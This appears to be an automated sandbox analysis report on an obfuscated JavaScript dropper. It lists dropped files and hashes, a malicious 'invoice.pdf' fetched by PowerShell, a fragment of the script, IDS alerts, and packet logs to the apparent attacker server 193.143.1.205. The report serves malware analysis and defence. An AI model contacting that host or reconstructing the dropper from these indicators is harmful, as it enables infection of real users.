Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a31f6aea-0e31-4aa5-a710-3f04d845b78c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f52e7009-895e-460f-8de4-a9a50e838b2c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/35ZwYIGNPtdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oYGZd:hZwZGD3mlind9i4ufFXpAXkrfUs0qWLH
MD5:	6951AF548747F3C7A25299507C1DE01C
SHA1:	BD5BC3BF94A3BEFA7B93CAF6C8DAFFD81BA9C897
SHA-256:	D9705C6F74E01C75A7BBB0555D4792EA58899D6B746AE9EE5B8423F228EB02EE
SHA-512:	B26DFF3CDD96AD62D4A65A1937DE4907D2F3CFB1E9A6069B42B833B1162C30844E083CD5D1FDDD75B0E7DE4F23930A9C1677F874CF6BAD279140D6B11AFA4356
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17004), with CRLF line terminators
Entropy (8bit):	4.911127725291939
TrID:
File name:	405322677135851429.js
File size:	20'333 bytes
MD5:	78a658250e393438f7942e72009da2ad
SHA1:	045289df61016d921b6f6ce0a9160b3208852db9
SHA256:	e6a2cbafc8beb72ccef77281812fd3ae2a6b3c3fd8845b4d8cfae9d35affeab2
SHA512:	5cdd065f6a708571513becb5d0f3070338563980b5a8725081ad61818980ceecf4c93bfd34106c17871929434a05798a712f6658f5eaa270e13bac2a1ab9f755
SSDEEP:	384:0xAzxxADk0FS8t6raqhZAfSzbASr6Qhvy/tS:0xAzxxADkbr5Aaz7r6Avy/tS
TLSH:	31922FAA940AC9D9CDD003FA5CEF24D6366C16CC8AE8C9DF5C86609553174F826F8DF8
File Content Preview:	function bjeotgl(){jzcmqh=[1031,3079,5127,4103,2055,3072];var bbzinbk=this[luvzgp+ojxuhtb+iezrhnef+etkglyqim+npcmv+cvgwzs+fypkjhws+bhtwy](this[obyqcnn+iwikhvax+qbwap+iezrhnef+oelwexh+luvzgp+bhtwy][gcfolt+iezrhnef+npcmv+ojxuhtb+bhtwy+npcmv+gpbpyrwqr+gedymr

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:02:05.372352+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-10T19:02:08.123119+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49728	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:02:04.449292898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:04.454210997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:04.454334974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:04.457572937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:04.462388039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372236967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372252941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372272968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372282982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372294903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372307062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372324944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372339964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372353077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372351885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.372370958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.372412920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.372438908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.377366066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.377403975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.377434969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.377485037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.425127029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.425170898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.425210953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.547022104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547038078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547056913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547075987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547090054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547101021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547101974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.547115088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547162056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.547202110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547247887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.547889948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547902107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547914982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.547944069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.548378944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.548389912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.548402071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.548423052 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.548434973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.548465967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.548476934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.548487902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.548530102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.549340010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.549376965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.549390078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.549398899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.549427986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.549437046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.549438000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.549484968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.602411032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.602427959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.602440119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.602484941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.654373884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.726512909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.726557016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.726603031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.733591080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.733623981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.733660936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.733675003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.733711958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.733747005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.733757973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.733856916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.733889103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.733897924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.733922958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.733964920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.733989000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734020948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734054089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734061956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.734087944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734122038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734128952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.734755993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734802961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.734807968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734842062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734884024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.734891891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734927893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734963894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.734968901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.734994888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735035896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.735594034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735646009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735680103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735688925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.735713005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735745907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735754967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.735780001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735812902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735821009 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.735848904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.735889912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.736438990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.736470938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.736505032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.736509085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.736541033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.736572981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.736584902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.736607075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.736655951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.736713886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.736746073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.736788034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.737351894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.737405062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.737441063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.737458944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.737474918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.737515926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.737873077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.737925053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.737958908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.737966061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.737991095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.738024950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.738033056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.779401064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.828279972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.828385115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.828419924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.828442097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.828454971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.828494072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.833669901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.833698988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.833744049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.870511055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870523930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870531082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870557070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870565891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.870567083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870582104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870618105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.870657921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870670080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870682001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870748043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.870906115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870917082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870929003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870939970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.870953083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.870959044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.870965004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871011972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.871225119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871284008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871330976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.871445894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871458054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871468067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871479988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871491909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871503115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871510983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.871514082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871541023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.871604919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871618032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.871642113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.872009039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872050047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.872065067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872129917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872150898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872163057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872174025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872184038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.872185946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872220993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.872246981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872258902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872262001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.872296095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.872400999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872411966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872423887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872433901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872453928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.872476101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.872972012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872983932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.872997046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873028040 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.873059988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873071909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873083115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873094082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873137951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.873226881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873239040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873250008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873260021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873266935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.873272896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873285055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873303890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.873332024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:05.873925924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873943090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873961926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:05.873977900 CET	49711	80	192.168.2.6	193.143.1.205
